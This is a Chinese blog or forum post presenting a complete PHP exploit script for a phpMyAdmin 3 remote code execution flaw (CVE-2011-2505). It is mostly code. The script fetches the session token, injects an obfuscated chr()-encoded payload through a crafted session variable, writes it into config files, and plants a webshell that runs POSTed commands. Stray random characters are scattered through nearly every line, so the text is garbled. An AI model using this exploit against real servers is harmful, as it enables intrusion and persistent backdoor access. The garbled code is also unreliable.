最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。0 h" v% K2 s# p- v# w* [4 ^
- K1 q1 A/ l: k! ? ? n
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。! p& r0 i& y' M* W: J2 W% `: h
# J5 b3 f. G$ y5 j2 z首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
4 v Y7 b) [. F% \$ T$ c4 v- P一是session.auto_start = 1;. R5 u, t! r& Y+ U: I
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。* C P) j# q3 z& t7 a( \$ M2 D1 E- ]
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
1 F; x9 x7 M$ M
5 d! U2 g2 }0 e- `7 Z" `在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
& N- i7 m! U- Q1 t* J
; }! V# e8 A. U" k |6 g于是写了这个php版本的exp,代码如下:$ i8 w. n* b" E4 U4 e% W
# `' x$ d/ V8 L. S#!/usr/bin/php: V6 I$ ^' ^/ U$ }8 w
<?php
( _9 s* v/ X3 q3 J. _* B, x! G! Tprint_r('! u% a6 H) Y) h
+---------------------------------------------------------------------------+ b8 [3 S! N! T; j. t8 `* J) w
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]: V' R3 G y- Q' A$ z& h! I- B
by oldjun(www.oldjun.com)
9 n9 x, L6 @# B3 h0 owelcome to www.t00ls.net
! @" j1 Z: c2 Vmail: oldjun@gmail.com
- k, V4 R9 d Q* L; S C% j& XAssigned CVE id: CVE-2011-25055 j- A* y% w/ ~# ?! V7 @
+---------------------------------------------------------------------------+2 Y/ A2 g6 ^' A! o1 O' B: Q! e
');
/ w) g$ @$ @& g: B& m* J; H0 g3 \" b( W; x& p& e
/**' d8 ?; S# }5 A3 w3 E5 ~ } [
* working when the directory:"config" exists and is writeable.; t$ D6 j5 `$ @8 k8 M6 T! Q7 V
**/0 I+ _# Y& H5 M& Z2 C( N
0 B* N7 ~9 o6 @% B
if ($argc < 3) {% s* K# l( P8 m1 }
print_r('. _! V+ z/ Z k9 ^" N1 U
+---------------------------------------------------------------------------+
( W8 r: S7 [* U/ _ m! eUsage: php '.$argv[0].' host path
8 {# r" |6 B! G# i' E! Whost: target server (ip/hostname)
* m3 \9 e0 d& h: Z6 Ypath: path to pma3
* H2 G: g/ i2 c- K/ V$ B! s4 ?Example:
; ?1 ^; \) M$ \( Ephp '.$argv[0].' localhost /pma/* j( E' }1 g) J3 a6 H+ ~
+---------------------------------------------------------------------------+) O+ F. ?* _8 B8 r/ Q
');
* \' u' U$ L) E" f5 o6 m0 j exit;; U; D3 e) n3 z, J8 l
}- w/ j' H" r+ e8 G8 M0 ]
- j& H5 S2 y0 y' ]/ d. [6 a L! e$host = $argv[1];
: Q- Z/ h$ Y9 r' j& e) V* Q3 b$path = $argv[2];( J) X) V# e6 ?
& A, }+ {/ b5 x4 U6 r8 M
/**' a, }0 C( `! W; Q
* Try to determine if the directory:"config" exists
! [( w" d/ k ]: j2 x**/* e- N8 \# X: \
echo "[+] Try to determine if the directory:config exists....\n";
2 O ?3 C5 D! U' ^ K; p0 ]$returnstr=php_request('config/');( O" f1 i* l# y3 l; C
if(strpos($returnstr,'404')){
( o6 b: h3 K+ f: F p$ L B exit("[-] Exploit Failed! The directory:config do not exists!\n");9 z* H" ~9 }) i; A& k" {" q6 y
}
" B- v+ g8 Q" t7 A: B4 p# n; R/ Y; i# f% P6 N
/**. _7 m% E+ m: ]# P
* Try to get token and sessionid
1 K4 Q& _5 r' h" n5 t**/
. @1 }" L2 f2 r. Fecho "[+] Try to get token and sessionid....\n";' E3 L# x/ ]; ]7 Y d
$result=php_request('index.php');0 S# D. d2 B2 q9 }
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);7 T8 `0 l9 l+ T
$token=$resp[3];
, k" }$ I8 j4 }: K$ l8 u7 q$sessionid=$resp[1];, Y+ A/ T: q9 d7 p ~& _3 O L- g
if($token && $sessionid){+ M$ \& \/ D; Z' \- B7 [: ]
echo "[+] token token\n";
7 F; l+ r8 k. j3 D0 g$ c% N2 u4 l: L/ t$ k echo "[+] Session ID sessionid\n";
2 h( q9 l+ \# W- E}else{1 m Q* c1 S' P' h- U; Q& R
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
6 a7 F0 x2 y; I; x$ r}; V) {% v4 d- [8 _
" B% f! f) S! S# F/**3 D! _ G# M9 {
* Try to insert shell into session, v* _$ r8 O# ^. t
**/
9 @" b K6 H1 P! jecho "[+] Try to insert shell into session....\n";
" |) T' I! t* M2 b& u0 zphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.$ |# B* d; w S! O
3 G% i$ q: G! J: F/ J% M- @
/**
. z: `, [+ e! I( p * Try to create webshell0 i1 y# A% i7 {: z* j
**/% P* F5 o2 R% K! B1 q" h {0 J
echo "[+] Try to create webshell....\n";2 { K. \9 B8 g+ R" J
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
2 Y% _0 E/ w3 \1 W/**
' M& F8 Q) W% a * Try to check if the webshell was created successfully) o% J1 V6 K N1 A3 F7 h
**/: M, @% C7 e$ t) u6 k: k7 p
echo "[+] Try to check if the webshell was created successfully....\n";& [8 ` G; Z- `
$content=php_request('config/config.inc.php');
8 P* t9 B0 T; i& O( C' ]; A" Rif(strpos($content,'t00ls')){, U) l1 Q5 b, c
echo "[+] Congratulations! Expoilt successfully....\n";- Y( j4 s3 G$ F1 |, C
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";4 T7 R) o! B9 H$ s; i
}else{
$ }$ E# D: }: Q& A m7 e! ?2 \ exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");2 I& ~7 M! V/ r5 W. O8 X4 e' J
}. W+ B4 T8 ]* `* V
+ j# C9 R6 H+ W4 I# E1 x
function php_request($url,$data='',$cookie=''){
4 z$ O3 c( b& ?" l& x global $host, $path;
) Q' E$ ~+ x! M: ~1 a5 Z, h) v7 \
) M+ g% [/ s3 ]1 t4 z7 r% g $method=$data?'POST':'GET';
% t2 ]4 e' J1 `2 w% c" E
" j: r2 H E8 f2 F9 i. Z1 W8 H $packet = $method." ".$path.$url." HTTP/1.1\r\n";
8 z* x; A. B/ Z! \0 k3 g $packet .= "Accept: */*\r\n";
# C7 x* Y1 }% F $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
0 Q3 e' j7 f# w* c. W $packet .= "Host: $host\r\n";5 R% I0 F! d N
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";% n# h# P! z, ^8 g+ ~+ d1 D
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
1 X9 b) w& a/ _2 V $packet .= $cookie?"Cookie: $cookie\r\n":"";
& M5 Z* v- @/ Q X( u- O( z% _ $packet .= "Connection: Close\r\n\r\n";" J2 t7 e0 S( f( w
$packet .= $data?$data:"";
5 H3 Y6 N" P! v- Z! L L* c [. h0 G9 g9 E6 [( H; B
$fp = fsockopen(gethostbyname($host), 80);" |) n0 I' b1 h% q$ L
if (!$fp) {* `& Q& Q1 V: {/ @1 u1 t
echo 'No response from '.$host; die;" E. n9 s* p# z9 q
}
; ~+ A% U. R" D9 K* M fputs($fp, $packet);4 z6 q3 _3 | j
$ V( X3 E3 a& i+ V4 |/ m$ r $resp = '';
+ X7 n' V2 f$ U6 f4 j
- S, h9 y$ c! [$ f2 K$ p& P, p! H while ($fp && !feof($fp))
, ?! f$ u3 x' ?3 W/ V9 ~* k $resp .= fread($fp, 1024);
N+ [# `$ q( G6 ?8 b- h9 }' X; ?& i; a$ ?; s
return $resp;8 g. R0 Q( \4 W' h# X) u
}2 H( D1 w. A6 n0 T& i( E
( m3 N/ n2 E- D i
?> 5 ?/ C3 k% j/ @4 ~* U
. |